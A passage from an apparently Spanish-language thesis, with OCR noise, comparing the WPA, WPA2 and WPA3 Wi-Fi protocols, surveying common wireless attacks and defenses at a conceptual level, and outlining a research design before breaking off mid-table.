(PSK) y modos de empresa. En el modo PSK, el punto de acceso (AP)
autentica una estacion (STA) basandose en una contrasefia compartida de
antemano. Por otro lado, el modo de empresa, AP y STA se autentica
mutuamente con la ayuda de un servidor de autenticacién. Estas dos
versiones comparten una etapa comun de configuracion inicial de tres fases.
Las tres fases que se ilustran en la Figura subyacente son 1) descubrimiento,
2) autenticacion y 3) administracion de claves. La primera fase de
descubrimiento tiene tres intercambios de mensajes. La STA se asocia con
el AP anunciando capacidades de seguridad y negociando conjuntos de
cifrado.

En la segunda fase de autenticacion, STA y AP acuerdan la clave maestra
(MK) y derivan la clave maestra por pares (PMK) basada en MK. El MK se
deriva de la contrasefa previamente compartida en el modo PSK o se
genera por el AS y se entrega de forma segura al AP y STA,

respectivamente, utilizando RADIUS y 802.1X en el modo empresarial.

Una vez que STA y AP comparten el PMK, estas dos partes pasan a la fase
de administracion de claves. Ambas partes obtienen la clave temporal por
pares (PTK) y confirman la posesion del mismo PTK mediante el protocolo
de enlace de cuatro vias. La PTK es nueva en cada asociacion, ya que se
deriva de la PMK y dos numeros aleatorios, respectivamente, elegido por

cada partido para una sola asociacion.
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Figura 11: Tres fases en el modo WPA2-Enterprise. El handshake de cuatro vias

es parte de la fase de gestion de claves. IGTK en el tercer mensaje del protocolo

de enlace de cuatro vias es opcional para el PMF. Fuente: (Kwon & Choi, 2020)

Vulnerabilidades de WPA2:

¢ Reinstalacién de la clave de cifrado por pares (PTK-TK), clave de
grupo (GTK), clave de grupo de integridad (IGTK) en el protocolo de
enlace de cuatro vias.

¢ Reinstalacién de la clave de grupo (GTK), clave de grupo de
integridad (IGTK) en el protocolo de enlace de la clave de grupo.

e Permitir una Solicitud de re-asociacion de Transicién rapida BSS (FT)
retransmitida y reinstalar la Clave de cifrado por pares (PTK-TK)
mientras se maneja.

¢ Reinstalacién de la clave STK en el protocolo de enlace de Peer Key
y la configuracién de enlace directo tunelizado (TDLS) Peer Key (TPK)

en el protocolo de enlace TDLS.
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¢ Reinstalacion de la clave de grupo (GTK) y la clave de grupo de
integridad (IGTK) mientras se maneja una trama de respuesta en

modo de suspension de administracion de red inalambrica (WNM).

Proceso de cifrado CCMP:

Encabezado MAC -
[ Construir |
MPDU de texto / L__AAD |
sin formato & A2, prioridad— ro Datos cifrados,
\ — Nonce | CCM mic MPDU cifrado
. L | cifrado I
TK
| Incremento ‘ Construir
Kaidkd PN | : encabezado 4
___CCMP___

Figura 12: Proceso de cifrado CCMP. Fuente: (Reddy & Srikanth, 2019)

4. Acceso Wi-Fi protegido 3 (Wi-Fi Protected Access 3) WPA3

WPAZ3, lanzado en 2018, proporciona varias mejoras de seguridad sobre
WPA2. La conexion WPA2-Open utiliza comunicaciones de texto sin
formato. Para proporcionar seguridad en las comunicaciones y privacidad
del usuario incluso en una conexion abierta, WPA3-Open proporciona
encriptacion individualizada utilizando encriptacion inalambrica oportunista
(OWE), el cliente y el AP ejecutan un intercambio de claves Diffie-Hellman
no autenticado para crear una clave maestra (PMK) Unica y luego sigue un
protocolo de enlace de 4 vias para derivar PTK de la PMK. Por lo tanto,
WPA3-Open proporciona seguridad en las comunicaciones.
WPA3-Personal:

Los cambios mas significativos se estan realizando dentro de WPA3-
Personal, que se centra en una autenticacion basada en contrasefias mas
resistente, incluso cuando los usuarios eligen contrasefas que no cumplen
con las recomendaciones de complejidad tipicas. WPA3 reemplaza a PSK
con la autenticacion simultanea de iguales (SAE) de la especificacion IEEE
802.11, un protocolo seguro de establecimiento de claves entre dispositivos,
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para brindar mayor proteccion a los usuarios contra intentos de adivinacion

de contrasefias por parte de terceros.

WPAS-Enterprise:

Proporciona seguridad superior para redes de datos confidenciales con el
equivalente a una potencia criptogréafica de 192 bits, util en industrias como
el gobierno, la atencion médica o las finanzas. El paquete de seguridad de
192 bits garantiza que se implemente una combinacion uniforme de

herramientas criptograficas en las redes WPAS.

Autenticacion del servidor en WPA3 Enterprise

WPA3 Enterprise prohibe las opciones de configuracion del solicitante como
"omitir la validacion del certificado” o "aceptar cualquier certificado". WPA3
Enterprise dicta que, si el solicitante no puede verificar la identidad del
servidor durante la Fase 1, el solicitante no puede ingresar a la Fase 2
automéaticamente; el solicitante puede ingresar a la Fase 2 solo si el usuario
acepta explicitamente la confianza en el certificado proporcionado por el AS,
por ejemplo, mediante una ventana de didlogo. Este mecanismo interactivo

se denomina Anulacién del usuario del certificado del servidor (UOSC).

La union Wi-Fi impuls6 a WPA3, el estandar de seguridad remota de
vanguardia que puede eliminar cualquier indefension actual. Los aspectos
mas destacados de WPA3 son Proteccidn contra ataques de fuerza bruta,
Secreto de WPAS, Proteccion de redes abiertas / publicas. WPAS utiliza el
protocolo de enlace SAE (Autenticacion simultadnea de iguales) para ofrecer
Forward Secrecy, que evita que el infractor decodifique el trafico detectado
antiguo. Proporciona al cifrado de datos individualizado un componente que
codifica el trafico remoto para aliviar el peligro de ataques de intermediarios.
Proporciona cifrado de 192 bits para asociaciones Wi-Fi, a continuacion, se
muestra en la figura 13 el protocolo de enlace SAE.
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| Derivar PTK y verificar RSNE
Msg3 (MIC, RSNE, GTK)'

Verificar RSNE Msgd (MIC)

Conexion Establecida

Figura 13: Protocolo de enlace SAE. Fuente: (Reddy & Srikanth, 2019)

CARACTERISTICAS EN WPA3

A. Dragonfly, una defensa contra el ataque de adivinacién de contrasefas

sin conexién

Una clave de sesion en WPAZ2 se calcula a partir de una contrasefa previamente
compartida y algunos valores conocidos publicamente. En otras palabras,
puede espiar las sesiones de cualquier otro STA si se conoce la contrasefia
previamente compartida. El espionaje se vuelve bastante facil en cafés o
restaurantes donde las contrasefas estan disponibles publicamente. Incluso si
la contrasefia aun no es informacion publica, un adversario aun puede adivinar

una contrasefia candidata y verificar su contrasefia adivinada. Esta verificacién
46



es posible porgue esta disponible un valor hash calculado a partir de la
contrasefia verdadera durante el apreton de manos de cuatro vias. WPA2
produce una clave secreta de 384 bits llamada PTK. Los primeros 128 bits del
PTK se utilizan como clave para generar valores hash seguros. El valor hash da
una garantia de la posesion de PTK de uno al otro. La suposicion es correcta si
el valor hash calculado a partir de la suposicion coincide con el valor hash
objetivo. Ademas, el adversario puede acelerar una verificacion completa
procesandola fuera de linea. Peor aun, el adversario puede extrapolar las claves
secretas futuras de una victima basandose en el compromiso actual. Las claves
secretas en el modo personal WPA2 estan sujetos a un ataque de adivinacién
fuera de linea debido a la exposicion del valor hash calculado directamente con
la contrasefia.

La defensa de WPA3 contra el ataque de adivinanzas fuera de linea es no
exponer ningun derivado de la contrasefia previamente compartida. La
contrasefla precompartida se transforma en generador mediante la funcién
conocida como se muestra en la Figura posteriormente sefialada. EI STA y el
AP intercambian numeros aleatorios R1 y Rz, respectivamente, después
asegurandolos en R-G. La clave secreta K se calcula como R2'R1-G. Ambas
partes confirman que tienen la misma clave secreta comparando el valor hash
de la clave secreta. Estos intercambios adicionales de cuatro mensajes se
conocen como el apretébn de manos de Dragonfly. Tenga en cuenta que la
variante Dragonfly utilizada en WPA3 también se conoce como autenticacion
simultdnea de iguales (SAE). El ataque de adivinacion fuera de linea no es
aplicable en WPA3-SAE porque no se puede calcular una clave secreta a partir
de la adivinacién de la contrasefia sin conocer dos valores aleatorios. Incluso si
la contrasefia es informacion publica, comprometer la clave secreta es bastante
dificil debido al desconocimiento de valores aleatorios.

Imagine que se puede encontrar una clave secreta a partir del valor hash con
ataques de fuerza bruta. Este hallazgo no ayuda a los compromisos de claves
secretas para sesiones futuras, ya que una clave secreta se deriva de valores
unicos independientes en cada sesion. En este sentido, se considera que el

apreton de manos de Dragonfly satisface el PFS.
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Figura 14: Protocolo Dragonfly resistente al atague de adivinanzas fuera de linea.

El protocolo satisface el secreto directo perfecto. Fuente: (Kwon & Choi, 2020)

B. Redes Wi-Fi abiertas mejoradas

Los administradores de red a menudo se enfrentan a situaciones en las que
compartir secretos por adelantado no es asequible. Si este es el caso, las
redes Wi-Fi abiertas en WPA2 es una opcion. Este modo de operacion
prescinde de cualquier cifrado o autenticacion que exponga a los usuarios
de la red a cualquier amenaza de seguridad. Una resolucion abordada en el
WPAZ3 es la disposicion de la confidencialidad del mensaje basada en una
clave secreta efimera. Este nuevo enfoque se denomina red Wi-Fi abierta
mejorada, también se denomina cifrado inalambrico oportunista (OWE).
Como se muestra en la Figura 15, la apertura mejorada se superpone a la
fase de autenticacion, donde dos mensajes llevan claves publicas de STAy
AP. Con base en estas claves publicas, utilizando el algoritmo Elliptic Curve
Diffie-Hellman (ECDH), ambas partes derivan una clave secreta efimera que
se convierte en PMK. El apreton de manos de cuatro vias inmediatamente
continta para configurar claves secretas para una sesion entrante. La STA

y el AP pueden decidir almacenar en caché el PMK durante un periodo para
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evitar costosos célculos de ECDH para una posible reasociacion en un futuro
proximo.

Por motivos de confidencialidad, la red abierta mejorada requiere el método
de cifrado AES CCMP con una clave de 128 bits y no permite ningin método
antiguo y roto como TKIP o incluso WEP. Un PSK compartido pero inseguro
puede dar lugar a la divulgacion de informacién a otros usuarios, mientras
gue OWE es resistente a tales amenazas. Debido a su naturaleza de solo
cifrado, OWE es mas util en una cafeteria o en cualquier lugar donde sea
necesario el cifrado, pero la autenticacién no lo es.

En consecuencia, OWE es vulnerable a los ataques man-in-the middle
(MITM). Ademas, es vulnerable a los ataques de denegacidén de servicio
(DoS) ya que un adversario puede enviar mensajes de desasociacion o

desautenticacion en la fase de descubrimiento para interrumpir el protocolo

STA AP

de enlace.

1) Fase de descubrimiento

802.11

Ge‘tm PMK Generar PMK

3) FASE CLAVE DE GESTION

Figura 15: OWE superpuesto sobre la fase de autenticacibn genera una clave

secreta efimera para la confidencialidad. Fuente: (Kwon & Choi, 2020)
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C. Protocolo de aprovisionamiento de dispositivos

La configuracion protegida Wi-Fi (WPS) es una funcién en WPA2 para una
configuracion conveniente e infalible para acceder a la red Wi-Fi. La funcién
es mas util para los usuarios domeésticos que saben poco sobre la seguridad
de la red Wi-Fi o para dispositivos con interfaces de pantalla, limitadas o
nulas para las entradas del usuario. EI AP habilitado para WPS lleva un boton
0 un numero de identificacion personal (PIN) de ocho digitos. El usuario de
una STA simplemente presiona el botdn o ingresa el PIN para establecer
canales seguros. El WPS configura automéaticamente el nombre de la red
inalambrica (SSID) y PMK. El WPS reemplaza la autenticaciéon en el WPA
asegurandose de que el STA esté cerca del AP y confirmando que el STA
puede acceder a la informacion en el AP. Sin embargo, la seguridad de WPA
se vio comprometida debido a un nuamero PIN bastante corto y un
mecanismo inseguro para la generacion de claves.

El protocolo de aprovisionamiento de dispositivos (DPP) es un protocolo de
autenticacion en WPA3 para mejorar la comodidad y la seguridad sobre
WPS. ElI DPP se compone de ocho mensajes en cuatro fases como se
muestra en la Figura 16. No tiene autoridades centrales para coordinar un
procedimiento completo. Mas bien, el aprovisionamiento en el DPP permite
gue un relé confiable arranque dispositivos no autenticados al ganar
confianza en las claves publicas de un dispositivo a través de canales fuera
de banda (OOB) (Bootstrapping en la Figura 16). El relé vincula la clave
publica al identificador del dispositivo una vez que el dispositivo demuestra
la posesién de una clave privada coincidente. Esto completa la autenticacion
del dispositivo al relé (Autenticacion en la Figura 16). Después de la
autenticacion, el relé devuelve un token, llamado conector, al dispositivo. El
token incluye un blob de autenticacion firmado por el relé y la clave publica
efimera del relé (aprovisionamiento en la figura 16).

Para un acceso a la red, un dispositivo provisto por DPP intercambia un blob
de autenticacion con otro dispositivo provisto por DPP. La autenticacion
mutua ocurre en esta etapa cuando un dispositivo prueba una firma en el

conector con la clave publica del relé. Estos dispositivos derivan el PMK
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mediante la implementacion de un intercambio de claves ECDH (en la Figura
16). La PMK es nueva en cada aprovisionamiento, ya que se basa en las

claves publicas efimeras elegidas por ambos dispositivos.

0 L] b 0

Ry STA AP Relay
1)Leeriaclave publica de STAsa - 1) Leer la clave pibiica de AP's
LM*OO! | Bootstrapping  através de 008 selll
| 2)STAse autentica en Relay iknites -

: Autenticacion DPP
3) Conector de aprovisionamiento a X
2% sn DPP | 3) Canectar de aprovisionamienia a AP
T

| 4) Autenticacion mutua y derivaciin PMIK

: . EEEXITTO

Figura 16: DPP se compone de ocho mensajes en cuatro fases. Los dos

dispositivos se autentican mutuamente y acuerdan el PMK para el acceso a la red.
Fuente: (Kwon & Choi, 2020)

D. Actualizacién de seguridad en modo empresarial

Una STA puede conectarse a un AP con diversos grados de opciones de
seguridad, como cifrados, funciones hash, intercambios de claves y métodos
de autenticacion. Uno de los problemas en el modo de empresa WPA2 era
demasiadas opciones, algunas de las cuales resultan inseguras. Por
ejemplo, el uso de un conjunto de cifrado TLS que realiza un intercambio de
claves RSA con un certificado de 1024 bits socavaria significativamente la
solidez de la seguridad. Estos problemas son causados por la intratabilidad
de la STA en los parametros negociados en el momento de la iniciacion, lo
gue ofrece la posibilidad de que las STA elijan por la fuerza las opciones
menos seguras.

El modo de empresa WPA3 requiere una clave de cifrado de longitud minima

de 256 bits y el uso de conjuntos de cifrado aprobados por los algoritmos
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comerciales de seguridad nacional (CNSA). Por ejemplo, el modo de
autenticacion de mensajes hash de 384 bits (HMACSHA384) para hash, la
curva eliptica p384 de NIST para el establecimiento de claves y firmas
digitales, y AES-GCM-256 para el cifrado y autenticacion de datos. Con
CNSA, el método EAP debe ser EAP-TLS. No es posible emplear algoritmos
de combinacion y combinacién de manera insegura para no imponer

degradaciones de cifrado.

E. Modo de transicion en OWE y SAE

WPA3 proporciona modos de transicion en OWE y SAE, respectivamente,
para permitir una migracion gradual a nuevas versiones. Un AP en el modo
de transicién para OWE esta configurado para crear dos SSID con balizas
separadas. Uno es un SSID abierto para la red abierta heredada. El otro es
un SSID oculto para OWE. Las STA con capacidad OWE se conectan
primero al SSID abierto. En la baliza, la STA aprendera a buscar balizas de
las capacidades OWE de publicidad SSID ocultas. Las STA heredadas
simplemente ignoran las nuevas opciones en la baliza.

El modo de transicion SAE ejecuta WPA3-SAE y WPA2-PSK en el mismo
BSS con el mismo SSID. La contrasefia es la misma en ambos modos. Las
STA con capacidad WPA3 se conectan a una red utilizando el modo WPA-
SAE, mientras que las STA heredadas se conectan a una red utilizando el
modo WPA2-Personal.

Un modo de transicién para el modo empresarial WPA3 no esta disponible
porque este modo no es compatible con versiones anteriores. Debido a esta
implementacion de incompatibilidad, el modo WPA3-Enterprise requiere un

dia de bandera para cambiar un nivel de seguridad a un nivel superior.
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ATAQUES DE REDES INALAMBRICAS

Muchas empresas han pasado de las tecnologias cableadas a las
inalambricas, lo que ha tenido un impacto negativo en su postura de
seguridad. Las redes cableadas son generalmente mucho mas faciles de
proteger que las redes inalambricas, y una implementacion deficiente a
menudo introduce vulnerabilidades en las redes WiFi. La mayoria de
empresas tampoco realizan un andlisis de riesgos exhaustivo, lo que
significa que esas vulnerabilidades no se identifican ni abordan. Debido a
estas fallas de seguridad y la facilidad para explotarlas, los ataques a las
redes inalambricas son comunes (WebTitan, 2021).

¢,Cuales son los ataques aredes inaldambricas mas comunes?

Muchos de los ataques a redes inalambricas mas comunes son de
naturaleza oportunista. Los piratas informéaticos Wi-Fi buscan redes
inaldmbricas que sean faciles de atacar.

Los piratas informaticos se conforman de aprovechar los controles de
seguridad deficientes para obtener acceso a informacion confidencial y
distribuir malware. ¢Por qué perder el tiempo atacando redes Wi-Fi bien
aseguradas cuando hay muchas con poca o ninguna seguridad?

Las redes WiFi mal aseguradas también son el objetivo de ciberdelincuentes
y grupos del crimen organizado mas sofisticados para hacerse un hueco en
la red. Los ataques pueden ser extremadamente lucrativos. El acceso a una
red empresarial puede permitir la instalacion de ransomware y, si se puede
instalar malware en los sistemas POS, se pueden robar los nimeros de
tarjetas de crédito / débito de decenas o cientos de miles de clientes.

Tipos de ataques a redes inalambricas

Existen varios tipos diferentes de ataques Wi-Fi que los piratas informaticos
utilizan para espiar las conexiones de red inalambrica para obtener
contrasefas y credenciales bancarias y propagar malware. Los principales
tipos de ataques Wi-Fi se detallan a continuacion.

Puntos de acceso Wi-Fi falsos, gemelos malvados y ataques del
hombre en el medio

Los visitantes de hoteles, cafeterias y centros comerciales a menudo se

conectan al Wi-Fi gratuito que se ofrece, pero varios estudios han
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demostrado que no siempre se tiene cuidado al conectarse. Los clientes a
menudo eligen el punto de acceso Wi-Fi basado en el SSID sin verificar que
sea la red inalambrica configurada por un establecimiento en particular para
el uso del cliente.

Los delincuentes pueden configurar facilmente puntos de acceso Wi-Fi
falsos, a menudo utilizando el nombre del establecimiento en el SSID. Un
SSID llamado 'Wi-Fi gratuito en el aeropuerto’ seria suficiente para que
muchas personas se conectaran. Cuando los clientes se conectan a estas
redes Wi-Fi no autorizadas, aun pueden acceder a Internet, por lo que es
poco probable que se den cuenta de que algo anda mal. Sin embargo, una
vez conectados a esa red, todo lo que hagan en linea sera monitoreado por
los ciberdelincuentes. La informacion confidencial ingresada en linea, como
direcciones de correo electronico y contrasefias, nUmeros de tarjetas de
crédito o credenciales bancarias, puede ser robada y sera robada.

¢, Como se hace esto? El atacante simplemente crea un punto de acceso en
un teléfono inteligente y lo empareja con una tableta o computadora portatil.
El hacker puede sentarse en una cafeteria bebiendo un café con leche
mientras monitorea el trafico de todos los que se conectan. Alternativamente,
pueden usar un enrutador con el mismo nombre y contrasefia que el que
estd usando actualmente. Esto también puede tener una sefial Wi-Fi mas
fuerte, lo que puede hacer que mas personas se conecten. A través del
"gemelo malvado”, todo el trafico sera claramente visible para el atacante y
se podran capturar todos los datos enviados a través de la red.

Los puntos de acceso falsos y los gemelos malvados se encuentran entre
los ataques de redes inalambricas mas comunes. Son faciles de realizar,
requieren poca habilidad técnica y son muy efectivos. Un estudio indic6 que
mas de un tercio de los usuarios de puntos de acceso Wi-Fi no toman
precauciones al acceder a puntos de acceso Wi-Fi y se conectan con

frecuencia a redes no seguras (WebTitan, 2021).
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Wardriving

Wardriving es una técnica que se utiliza para identificar y mapear puntos de
acceso vulnerables. ElI nombre proviene del hecho de que los atacantes
conducen por un vecindario y usan una computadora portatii con un
dispositivo GPS, antena para identificar y registrar la ubicacion de las redes
inaldmbricas. Esta técnica es eficaz ya que muchas redes Wi-Fi utilizadas
por las empresas se extienden mas alla de los confines del edificio y se

aplican controles de seguridad deficientes para proteger esas redes.

Warshipping

Warshipping es un método mas eficiente para atacar redes Wi-Fi, ya que
permite que los ataques se realicen de forma remota, incluso si el atacante
no estd dentro del alcance de una red Wi-Fi. La tactica fue explicada por
investigadores de IBM X-Force Red en Black Hat USA. Usaron componentes
baratos (menos de $ 100) y faciles de obtener para crear una computadora
de placa unica con capacidades Wi-Fi y 3G que funciona con la bateria de
un teléfono celular. El dispositivo se puede utilizar para conectarse
localmente a la red Wi-Fi y enviar informacion a los atacantes a través de la
conexion celular 3G.

Dado que el dispositivo es pequefio, se puede ocultar facilmente dentro de
un paquete pequefio, y llevar ese paquete a un edificio es facil. Puede
enviarse por correo. Dado que el paquete puede estar dirigido a alguien que
no trabaja en la empresa, podria permanecer en la sala de correo durante
un tiempo antes de que se abra. Dado que se puede rastrear el paquete, los
atacantes sabran cuando esta en el edificio. Alternativamente, podria
ocultarse en cualquier nimero de articulos, desde macetas hasta osos de
peluche. Si el dispositivo esta dentro del alcance de las redes Wi-Fi, podria
usarse para atacar esas redes.

Los codigos de acceso a la red hash se pueden enviar a los atacantes para
gue los descifren, y el dispositivo puede conectarse a las redes Wi-Fi en el
edificio y recopilar datos. El dispositivo podria usarse en un ataque man-in-

the-middle haciéndose pasar por una red Wi-Fi interna.
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Suplantacion de MAC
Muchas empresas utilizan el filtrado MAC para evitar que dispositivos
especificos se conecten a sus redes Wi-Fi. Si bien esto es util para evitar
gue las personas aprovechen el Wi-Fi gratuito para los clientes, este método
de bloqueo de usuarios se puede omitir facilmente. Es facil falsificar una
direccion MAC y omitir este control de filtrado.
¢,Como pueden las empresas prevenir los atagues de redes
inalambricas mas comunes?
¢,Como pueden las empresas protegerse contra algunos de los ataques a
redes inaldmbricas mas comunes? Si se conoce que es dificil esquivar la
creacion de puntos de acceso Wi-Fi engafosos, se pueden tomar medidas
para evitar diversos ataques comunes a la red inalambrica y mantener la red
Wi-Fi segura.
e Aislar lared de invitados
Si su red comercial no esta aislada de su red Wi-Fi para invitados,
podria usarse para obtener acceso a los datos comerciales y podria
poner su POS en riesgo de verse comprometido. Utilice un enrutador
gue ofrezca mdltiples SSID; la mayoria de los enrutadores
actualizados tienen esa funcionalidad. Estos enrutadores suelen tener
una opcion SSID de invitado o un portal de invitado separado.
Asegurese de que esté activado cuando se implemente.
Alternativamente, su enrutador inalambrico puede tener una funcién
de aislamiento inaldmbrico que evitara que los usuarios de Wi-Fi
ingresen a su red interna y otros dispositivos del cliente. Si necesita
varios puntos de acceso en todo su establecimiento, es probable que
necesite una configuracion de tinel VLAN o EolP: una configuracion
mas complicada que requerira que busque asesoramiento profesional

sobre seguridad.

e Cifre el trafico Wi-Fi con WPA2 o WPA3
Si posee un enrutador obsoleto que no es compatible con el cifrado
WPA2, es momento de actualizarlo. WPA2 es el estandar minimo

para la seguridad de Wi-Fiy, si bien aln se puede descifrar, requiere
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mucho tiempo y es dificil. WPA3 ya se ha lanzado y se debe
considerar una nueva actualizacion. También debe asegurarse de
gue WPS esté apagado.

Actualice el firmware de inmediato

Todo el software y los dispositivos poseen vulnerabilidades y
requieren actualizacion. El software debe estar parcheado y los
dispositivos, como los enrutadores, deberan actualizar su firmware
cuando se creen nuevas versiones. Consulte el sitio web del
fabricante de su dispositivo periédicamente para obtener detalles
sobre las actualizaciones de firmware y asegurese de que su

dispositivo esté actualizado.

Crea un SSID seguro

Su enrutador tendra un nombre SSID predeterminado, pero debe
cambiarlo para personalizarlo para su empresa. Si lo identifica
facilmente, reducira la posibilidad de que los puntos de acceso no
autorizados se confundan con los suyos. Asegurese de aplicar el
cifrado WPA2 con una clave compartida y publique esa informacion
para sus clientes junto con su SSID en un lugar destacado donde

puedan verla.

Restringir el acceso Wi-Fi

Si su enrutador inaldmbrico o punto de acceso es demasiado potente,
se puede acceder a €l desde fuera de sus instalaciones. Elija un
enrutador que le permita alterar la fuerza de su sefal y puede
asegurarse de que solo sus clientes usaran su conexiéon. Ademas,
asegurese de que su punto de acceso Wi-Fi solo esté disponible
durante el horario comercial. Si sus puntos de acceso se dejan sin
supervision cuando su empresa esta cerrada, aumenta el riesgo de

un ataque.
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e Asegure su infraestructura
Se puede abusar del acceso de administrador, asi que asegurese de
gue su nombre de usuario y sus contrasefias sean seguras. Si no se
cambian las credenciales predeterminadas, solo serd cuestion de
tiempo antes de que se abuse de ellas. Cambie el nombre de usuario
de 'admin’ o cualquier otro nombre de usuario predeterminado.
Establezca una contrasefia segura que incluya letras mayusculas y
minUsculas, al menos un numero y un caracter especial. La
contrasefia debe tener al menos 8 caracteres, aungue cuanto mas,

mejor. Alternativamente, use una contrasefia de 14 caracteres.

1.4.Formulacion del Problema.
Habiendo analizado la situacién problematica actual se formuld el siguiente
problema de manera interrogativa: ¢Qué protocolo de seguridad resulta mas

eficiente para combatir los ataques en redes inaldmbricas?

1.5. Justificacion e importancia del estudio.

Las redes inalambricas conforman una parte esencial en la arquitectura de red
actual. Se necesitan para la aceptacion y administracién de méviles y otorga
conectividad a los dispositivos que son inaccesibles, costosas 0 no practicas
para las conexiones por cable. Aun asi se necesitan medidas adicionales para
el control del acceso a las redes Wi-Fi. En gran parte de libros y articulos se
sefialan riesgos mas no ofrecen una soluciébn completamente segura. El
estandar 802.11 para redes inalambricas sefiala los métodos de encriptacion y
autenticacion, pero a nivel empresarial, se deben implementar de manera
escalable y manejable. Los peligros en redes inaldmbricas desprotegidas son
muchos. Los traficos en redes inalambricas son facilmente rastreables y los
hackers pueden recopilar informacion de propiedad, contrasefas, direcciones
de servidores de intranet e inicios de sesion. Los intrusos pueden robar ancho
de banda de Internet, y enviar informacién indeseable mediante spam o usar la
red como un instrumento para atacar a otros objetivos. Pueden captar y hacer

modificaciones en el trafico para suplantar al usuario, con consecuencias
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financieras o legales. Adem4s, un atacante de baja tecnologia puede causar
estragos en un negocio al lanzar inundaciones de paqguetes inalambricos contra

sus Access Points, Servers cercanos, y pasar a la red cableada.

1.6.Hipotesis.
El Protocolo WPA3 es mas eficiente para combatir los ataques en redes

inalambricas Wi-Fi

1.7.0bjetivos.
1.7.1. Objetivo general.
Evaluar el desempefio de los protocolos de seguridad de redes para
combatir ataques en redes inalambricas Wi-Fi
1.7.2. Objetivos especificos.

e Seleccionar los protocolos de seguridad existentes para combatir los
ataques en redes inalambricas.

e Disefiar un escenario de pruebas para poder evaluar el desempefio
de los protocolos de seguridad de red para combatir ataques en redes
inaldmbricas.

e Realizar pruebas de ataque con el fin de probar cada protocolos de

seguridad de red que fueron previamente implementados
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MATERIAL Y METODO

2.1.Tipo y Disefio de Investigacion.

La investigacion es de tipo cuantitativa - cuasiexperimental porque mediante la

recopilacion y andlisis de informacion se lograra comprobar la hipotesis de la

investigacion.

2.2.Poblacién y muestra.
La poblacion comprende todos los elementos a los que se refiere el proyecto,
esto es, al conjunto del total de unidades para el muestreo. En el estudio que
se propone se analizardn los protocolos de seguridad existentes con
respecto a su desempefio para combatir las vulnerabilidades existentes en
los protocolos de seguridad en redes inalambricas Wi-Fi, por ello se definen
los siguientes aspectos:
Protocolos de seguridad en redes inaldambricas Wi-Fi:
Los protocolos de seguridad en redes inalambricas Wi-Fi que seran
comprendidos dentro de la poblacion a estudiar serian: WPA, WPA2 vy
WPAZ3, esto segun los estandares IEEE 802.11 y la Wi-Fi Alliance, y se
detallan en la tabla 3.
Tabla 3.

Protocolos de seguridad en redes inalambricas comprendidos en la

poblacion.
WPA WPA 2 WPA3
Wi-Fi Wi-Fi Wi-Fi
Significa Protected Protected Protected
Access Access 2 Access 3
Desarrollado en: 2003 2004 2018
Encriptacién: TKIP AES-CCMP AES-CCMP
AES-GCMP
Tamaiio de llave 128 bit 128 bit 128 bit
256 bit
Pre Shared Pre Shared AES-CCMP
Autenticacion Key Key AES-GCMP
& 802.1x with & 802.1x with
EAP EAP
Integridad 64 Bit MIC CCMP SHA-2
With AES

Fuente: (IPcisco.com, 2020)
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En el presente caso se tomaradn a los tres protocolos en vigencia como la
muestra total a evaluar. Cabe aclarar que se ha obviado al protocolo WEP que
se considera obsoleto, aunque todavia se utiliza a veces, ya sea porque algunos
administradores de red no cambiaron la seguridad predeterminada en sus
enrutadores inalambricos o porque los dispositivos son demasiado antiguos
como para admitir métodos de cifrado méas nuevos como WPA. (Kaspersky,
2021)

Ataques en redes inalambricas Wi-Fi: IEEE 802.11 sefala a los servicios de
seguridad en el ambito de las redes inalambricas Wi-Fi: Autenticacion,
Confidencialidad e Integridad. Segun se sefiala en la tabla 4:

Tabla 4.

Servicios de seguridad en redes inalambricas Wi-Fi.

Servicio

Ataques

Autenticacion: Se vulnera
mediante acciones realizadas por
los atacantes para tener dominio del
equipo atacado. Tiene como
objetivo “hacer caer en el error’ al
sistema de la victima para poder
acceder a este. Por lo general este
engafio se logra tomando las
sesiones ya establecidas por la
victima u obteniendo su nombre de
usuario y contrasefa
Confidencialidad: Se wvulnera
especificamente para robar data
personal, desde la identificacion de
una persona hasta datos de tarjetas
de crédito o cuentas de banco. La
informacion obtenida puede ser
vendida o incluso sometida a
intercambio  para que otras
personas la compren y usen.

Integridad: Se vulnera mediante la
introduccion de modificaciones o la
encriptacion de datos y posterior
exigencia de una forma de rescate
para mostrar la clave de

Spoofing

IP splicing-hijacking
Utilizacion de backdoors
Utilizacion de exploits
Ataque de fuerza bruta
Ataque de diccionario
a un ssid oculto
Jamming o flooding

Espionaje

Clave WEP

Evil Twin AP

Phishing

Man in the Middle
Ransomware

Induccién chopchop
Ataque estadistico.

ARP Spoofing + DNS
Spoofing

Fragmentacion 802,11
marco de inyeccion
Replay

Ataque de denegacion
de servicios (DoS)
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desencriptacion.

La modificacion no autorizada de
sistemas operativos, tablas de
bases de datos, datos de
produccién y configuracion de

infraestructura también se
consideran vulneran a la integridad
de los datos

Fuente: (Tafur & Chavez, 2018).

Para el presente trabajo y por la facilidad de acceso a herramientas para

implementar las vulnerabilidades, se han seleccionado los siguientes para la

muestra:
Tabla 5.
Muestra de vulnerabilidades en protocolos de proteccion
Servicio Vulnerabilidad
Ataque de fuerza bruta
Autenticacion Ataque de diccionario a un ssid oculto

Confidencialidad  Phishing
Man in the Middle
ARP Spoofing + DNS Spoofing

Integridad Ataque de denegacion de servicios (DoS)

Fuente: Elaboracion Propia.
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2.3.Variables, Operacionalizacion.
Tabla 6.

Operacionalizacion de la variable Independiente.

Variable _ . _ Técnicas e Instrumentos de recoleccion
. Dimensiones Indicadores i
Independiente Items de datos
e Tamairio del o o
( g Técnica: Revision Documental
. IV (vector de Escala
Cifrado L lorati Instrumento:
iniciacion) valorativa _ _
Ficha de registro de datos
e Mecanismos
: de Técnica: Revision Documental
Mecanismos
de entrega Integridad Escala_ Instrumento:
de datos valorativa '
de la Ficha de registro de datos
cabecera.
o Escala
Autorizacion , L _
valorativa Técnica: Revision Documental
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Protocolos de e Distribucion
seguridad de
redes de clave
inalambricas forma
Wi-Fi
manual / por
computadora

Instrumento:
Ficha de registro de datos

Fuente: Elaboracion Propia.

Tabla 7.
Operacionalizacion de la variable Dependiente.
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Variable

Dependiente _ _
Dimensiones

Indicadores

Técnicas e Instrumentos de

ltems recoleccién de datos

Confidencialidad

Vulnerabilidades
en redes
inalambricas Wi-Fi

Promedio de
tiempo de
éxito de
ataque
Phishing

Promedio de
tiempo de
éxito de
ataque

Man in
Middle

Promedio de
tiempo de
éxito de

ataque

the

" AtPhi;

Técnica: Revision
Documental
2?=1AtMiTMl- Instrumento:
n Ficha de registro de datos

?=1At5p0i
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Integridad

Autenticacion

ARP
Spoofing +
DNS
Spoofing

Promedio de
tiempo de
éxito de
ataque

de DoS

Promedio de
tiempo de
éxito de
